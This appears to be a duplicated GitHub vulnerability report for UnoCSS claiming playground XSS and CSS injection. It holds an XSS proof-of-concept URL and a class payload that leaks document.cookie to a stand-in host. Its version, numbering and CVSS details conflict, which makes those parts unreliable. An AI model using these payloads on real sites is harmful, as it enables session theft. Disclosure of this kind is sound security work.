UnoCSS version
<= latest
Describe the bug
UnoCSS Multiple Critical Vulnerabilities: URL Parameter XSS + CSS Injection (CVE Candidate)
Executive Summary
UnoCSS v0.6.x series contains multiple high-severity vulnerabilities in the playground and runtime components:
- Critical URL Parameter XSS:
unocss.dev/play accepts unsanitized html/config hash parameters executed via new AsyncFunction() or injected via raw innerHTML, enabling full origin-controllable XSS on unocss.dev
- High-Risk CSS Injection: Arbitrary value processing (
w-[...]) lacks filtering for ; { } @ characters, allowing injection of arbitrary CSS rules when user-controlled classes are processed
- Medium Risk Hardcoded API Key: Potential exposed credentials detected during static analysis (requires verification)
All affect default deployments using preset-mini/wind with user-generated content.
Vulnerability Details
#5 Playground URL Parameter XSS (Critical - Confirmed)
File: virtual-shared/docs/src/config.ts:21-46, playground/__play.html:40
Vulnerable Code:
// config.ts: execute arbitrary JS from user config
const fn = new AsyncFunction('__import', code) // ⚠️ Executes attacker's code!
const result = await fn(__import)
// __play.html: inject HTML without sanitization
container.innerHTML = payload.html // ⚠️ No DOMPurify!
Proof of Concept:
curl "http://192.168.79.129:44000/play/#html=%3Cscript%3Ealert(1)%3C/script%3E"
# Response contains <script> tags → XSS confirmed!
#3/#4 Runtime CSS Injection (High)
File: packages-presets/preset-mini/src/_utils/handlers/handlers.ts:153-221
Attack Vector: User provides class: w-[100px;}body{background:url(https://evil.site/?leak=${document.cookie})]
CVSS Score
CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:H/I:N/A:N = 8.6 Critical
Affected Versions
- Package: unocss/unocss
- Tested: v0.6.x series (latest v66.9.1)
- Patched version: none yet
Credits
Reported by: chenshao1018
Date: 2026-09-02
CVE Request
When this issue is acknowledged, please request a CVE ID to help users track the fix.
Reproduction
Playground URL with malicious parameters:
Screenshot evidence available in attachments.
System Info
Browser: Firefox 140.11.0ESR / Chromium headless
Environment: Linux x86_64
Node: v22.14.0
UnoCSS: v66.9.1
Validations
UnoCSS version
<= latest
Describe the bug
UnoCSS Multiple Critical Vulnerabilities: URL Parameter XSS + CSS Injection (CVE Candidate)
Executive Summary
UnoCSS v0.6.x series contains multiple high-severity vulnerabilities in the playground and runtime components:
unocss.dev/playaccepts unsanitizedhtml/confighash parameters executed vianew AsyncFunction()or injected via rawinnerHTML, enabling full origin-controllable XSS on unocss.devw-[...]) lacks filtering for; { } @characters, allowing injection of arbitrary CSS rules when user-controlled classes are processedAll affect default deployments using preset-mini/wind with user-generated content.
Vulnerability Details
#5 Playground URL Parameter XSS (Critical - Confirmed)
File:
virtual-shared/docs/src/config.ts:21-46,playground/__play.html:40Vulnerable Code:
Proof of Concept:
#3/#4 Runtime CSS Injection (High)
File:
packages-presets/preset-mini/src/_utils/handlers/handlers.ts:153-221Attack Vector: User provides class:
w-[100px;}body{background:url(https://evil.site/?leak=${document.cookie})]CVSS Score
Affected Versions
Credits
Reported by: chenshao1018
Date: 2026-09-02
CVE Request
When this issue is acknowledged, please request a CVE ID to help users track the fix.
Reproduction
Playground URL with malicious parameters:
Screenshot evidence available in attachments.
System Info
Browser: Firefox 140.11.0ESR / Chromium headless
Environment: Linux x86_64
Node: v22.14.0
UnoCSS: v66.9.1
Validations